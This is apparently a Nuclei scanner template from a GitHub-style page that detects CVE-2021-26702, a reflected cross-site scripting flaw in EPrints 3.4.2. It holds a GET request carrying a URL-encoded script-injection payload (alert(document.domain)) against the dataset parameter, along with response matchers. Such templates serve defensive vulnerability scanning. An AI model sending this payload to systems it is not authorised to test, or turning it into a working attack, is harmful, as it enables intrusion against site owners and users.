37 lines
961 B
YAML
37 lines
961 B
YAML
id: CVE-2021-26702
|
|
|
|
info:
|
|
name: EPrints 3.4.2 XSS
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: EPrints 3.4.2 exposes a reflected XSS opportunity in the dataset parameter to a cgi/dataset_ dictionary URI.
|
|
reference:
|
|
- https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
|
|
- https://files.eprints.org/2548/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-26702
|
|
cwe-id: CWE-79
|
|
tags: cve,cve2021,xss,eprints
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/cgi/dataset_dictionary?dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|